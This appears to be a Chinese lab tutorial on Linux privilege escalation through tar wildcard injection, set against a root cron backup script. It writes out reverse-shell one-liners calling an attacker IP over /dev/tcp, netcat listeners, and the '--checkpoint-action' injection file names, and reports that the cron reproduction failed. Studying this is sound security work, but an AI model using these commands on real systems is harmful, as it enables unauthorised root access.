[权限提升] Linux 提权 维持 — 系统错误配置提权 - 通配符(ws)注入提权

server/2025/2/12 4:49:08/

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:通配符(ws)注入提权原理

通配符注入提权的核心是利用通配符的扩展特性,在命令执行时生成意外的参数或文件名,从而改变命令的行为。这种技术通常用于以下场景:

  • 命令注入: 通过构造特殊的文件名或参数,使命令执行额外的操作。

  • 权限绕过: 如果一个程序以高权限(如 root)运行,并使用了通配符,攻击者就可以通过构造特殊的文件名来注入命令,从而获得高权限。

0x0101:基础知识 — 通配符的基本概念

在 Unix/Linux 系统中,通配符可以被用来进行模糊匹配,常见的通配符包括如下三种:

  • * => 匹配任意数量的字符(包括空字符)

  • ? => 匹配单个字符

  • [] => 匹配括号中的任意单一字符,可以使用连字符 - 表示范围,比如 [0-9]

下面笔者以几个例子讲解一下通配符的常见用法,首先输入下面的命令,创建几个示例文件:

 touch 1.txt 2.txt 12.txt a.txt b.txt ab.txt abc.txt

0x0102:概念引入 — 统配符(ws)注入

我们知道,在 Linux 中,通过 --help 可以查看一个命令的用法,比如:

 cat --help

那么现在,我们在当前目录下使用命令创建 file1file2--help 文件:

 echo "1" > file1echo "2" > file2echo "3" > --help

我们知道,cat file1 肯定会显示 file1 文件中的内容也就是 1cat file2 肯定会显示 file2 文件中的内容,即 2,那么 cat --help 会显示啥呢?会显示 3 还是 cat 的帮助命令:

如上,--help 文件中的命令是无法被使用命令直接读取的。再进一步,如果我们运行 cat * 会发生什么呢:

如上,当我们运行 cat *,可以发现,它还是显示了 cat 的帮助信息,而没有显示 --help 文件中的内容,这种技巧就被称为 Wildcard wildness,即 ”通配符(ws)命令注入“。

0x02:通配符(ws)注入提权姿势

通配符(ws)注入的利用,限制的有些严格。因为触发该漏洞的原因实际是因为命令使用通配符时错误的把文件名当作参数来执行了,结果导致注入从而提权。

通配符(ws)注入的利用可以结合前面介绍的 SUID、Sudo、定时任务、环境变量劫持提权,总之,如果你看到一个以高权限运行的任务中包含 * 号,你就可以考虑这种利用姿势。

0x0201:tar — ws 注入提权姿势

1. tar — ws 注入理论基础

tar 命令是 Linux 中的压缩命令,可以对文件进行压缩,以下是它的基本用法:

 tar -czf html.tgz 1.html # 将文件 1.html 压缩成 html.tgz

它也可以利用通配符一次性压缩多个文件:

 tar -czf html.tgz *.html # 将文件夹中的所有 HTML 文件压缩成 html.tgz

我们知道的,tar 命令是可以执行 Linux 系统命令的,格式如下:

 tar -czf html.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

2. tar — ws 注入实操流程

那么劫持方法就很简单了,在运行 tar 命令的目录下面,创建一个 shell.sh 内容如下(一个 Bash 反弹链接的代码),并赋予其可执行权限:

 bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

然后使用下面的命令创建针对 tar 命令的注入文件:

拓展:Unix/Linux -- (双连字符)作用解析

在 Unix/Linux 系统中,--是一个特殊的符号,用于表示命令行选线的结束。它的作用是告诉命令解析器:后面的内容不是选项,即使它们以 - 开头

 # touch -- 中的 --(双连字符)用于表示命令行选项的结束,touch -- '--checkpoint=1'touch -- '--checkpoint-action=exec=sh shell.sh'

你在攻击机上做好监听后,在靶机中输入下面的内容,一个很正常的压缩命令(* 前面有其他字符时似乎是无法利用的):

tar -czf html.tgz *

如上,成功使用 ws 注入拿到靶机的 Shell,倘若这个压缩是一个 Root 用户的定时任务的话,我们就可以利用该特性直接进行提权。

0x03:通配符(ws)注入提权场景代入

直接使用通配符(ws)注入提权不太可能,管理员看到你目录下有这个文件,多少都会起疑心。所以 ws 注入提权多与前面讲解的几种提权方式搭配使用,作用一种思路的拓展。

0x0301:通配符注入 + 定时任务提权

一般管理员都有备份网站的习惯,部分管理员会直接使用定时任务进行备份,如果管理员在进行备份时滥用了通配符,就可能会被导致提权。

1. 通配符注入 + 定时任务提权 — 环境搭建

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

首先创建一个 /www/html 目录,并授予这两个目录 777 权限(让普通用户也可以读取写入),然后在该目录下通过 touch 1.html 命令创建一个 html 文件:

然后在 /www/html 文件夹中创建一个 backup.sh 文件,文件内容如下:

#!/bin/bash
tar -czf /tmp/html.tgz *

上面这个脚本会将当前目录下所有文件打包到 /tmp/html.tgz 中,然后使用下面这个命令赋予其执行权限:

chmod 744 /www/html/backup.sh

然后以 root 身份往 /etc/crontab 中写入如下定时任务:

*/1 * * * * root /www/html/backup.sh

然后我们等待一分钟,查看 /tmp 目录下,如果出现了 html.tgz 文件则证明环境搭建完成:

2. 通配符注入 + 定时任务提权 — 漏洞复现

2.1 拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

2.2 发现不安全的计划任务

查看系统计划任务,发现一个以 Root 身份运行的 backup.sh 任务:

cat /etc/crontab

我们尝试查看一下这个计划任务的内容:

ls -al /www/html/backup.sh  # 查看文件权限
cat /www/html/backup.sh     # 查看文件内容

如上,对于 /www/html/backup.sh 文件,我们只有读权限,没有编辑权限。查看文件内容,发现其存在通配符滥用的情况,有被利用的可能性。

2.3 创建通配符注入文件

由于是 tar 命令定时任务,所以我们对应的 WS 注入文件如下:

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

backup.sh 文件中会定期备份 /www/html 文件夹中的内容,所以我们需要将 WS 注入文件写到 /www/html 目录下(写在子路径也是无法利用成功的),我们执行注入还需要一个 shell.sh 文件,所以我们还得创建它。依次输入下面几条命令,完成这些操作:

# 1. 创建反弹链接文件
echo "bash -i >&/dev/tcp/192.168.0.136/8888 0>&1" > /www/html/shell.sh
# 2. 为 shell.sh 文件赋予执行权限
chmod 777 /www/html/shell.sh
# 3. 创建 tar 命令对应的注入文件
touch -- /www/html/'--checkpoint=1'
touch -- /www/html/'--checkpoint-action=exec=sh shell.sh'

然后在攻击机中新开一个窗口,使用 nc -lvp 8888 命令监听 8888 端口,等待靶机定时任务执行后上线。

2.4 复现失败

很遗憾,等待许久,靶机并没有以 Root 权限上线,虽然复现失败了,但笔者这里依旧写出来是因为发现了一个有趣的事情。看看 /var/log/cron 内容:

如上,使用计划任务运行 /www/html/backup.sh,就不能反弹 Shell,但是我直接运行 /www/html/backup.sh 就能反弹。笔者还特意退出了 root 用户身份,生怕是我抢了它的权限,但是很遗憾,一分钟过去了,依旧未能拿到 Shell。

通配符注入 + 计划任务拿高权限 Shell 是失败了,但是笔者还有一计。如果我赋予 /backup.sh 文件 SUID 权限呢(这个应该没问题,读者可以试验一下) 。。。。


http://www.ppmy.cn/server/166559.html

相关文章

gitlab多项目流水线

背景是我有多个项目,希望其中一个项目被触发的时候,联动另外一个项目自动打包。然后我就看文档尝试操作了一下,所以有本文。 官方文档参考:https://gitlab.cn/docs/14.5/jh/ci/pipelines/multi_project_pipelines.html 不知道是不…

什么是企业经营驾驶舱

企业运营驾驶舱是一种基于数据可视化的管理工具,旨在帮助企业实时监控、分析和优化核心运营指标,辅助管理层快速决策。其概念类似于飞机驾驶舱,通过直观的仪表盘展示关键数据,让管理者“一目了然”掌握企业运营状态。数聚从多年的…

Kafka 无消息丢失最佳实战

1. 不要使用 producer.send(msg),而要使用 producer.send(msg, callback)。记住,一 定要使用带有回调通知的 send 方法。 2. 设置 acks all。acks 是 Producer 的一个参数,代表了你对“已提交”消息的定义。 如果设置成 all,则…

SSA-TCN麻雀算法优化时间卷积神经网络时间序列预测未来Matlab实现

SSA-TCN麻雀算法优化时间卷积神经网络时间序列预测未来Matlab实现 目录 SSA-TCN麻雀算法优化时间卷积神经网络时间序列预测未来Matlab实现预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab实现SSA-TCN麻雀算法优化时间卷积神经网络时间序列预测未来(优…

本地部署DeepSeek(Mac版本,带图形化操作界面)

一、下载安装:Ollama 官网下载:Download Ollama on macOS 二、安装Ollama 1、直接解压zip压缩包,解压出来就是应用程序 2、直接将Ollama拖到应用程序中即可 3、启动终端命令验证 # 输入 ollama 代表已经安装成功。 4、下载模型 点击模型…

Spring Boot 对接深度求索接口实现知识问答功能

Spring Boot 对接深度求索接口实现知识问答功能 一、概述 本文将详细介绍如何使用 Spring Boot 对接深度求索(DeepSeek)接口,实现知识问答功能。深度求索是一个强大的自然语言处理平台,提供多种 API 接口,包括知识问…

Rust语言进阶之标准输入: stdin用法实例(一百零五)

简介: CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布:《Android系统多媒体进阶实战》🚀 优质专栏: Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏: 多媒体系统工程师系列【…

金三银四Java面试题及答案整理(2025年最新版,持续更新)

学习如逆水行舟,尤其是 IT 行业有着日新月异的节奏,我们更要抓紧每一次可以学习和进步的机会。所以,没有撤退可言。 即使是面试跳槽,那也是一个学习的过程。只有全面的复习,才能让我们更好的充实自己,武装…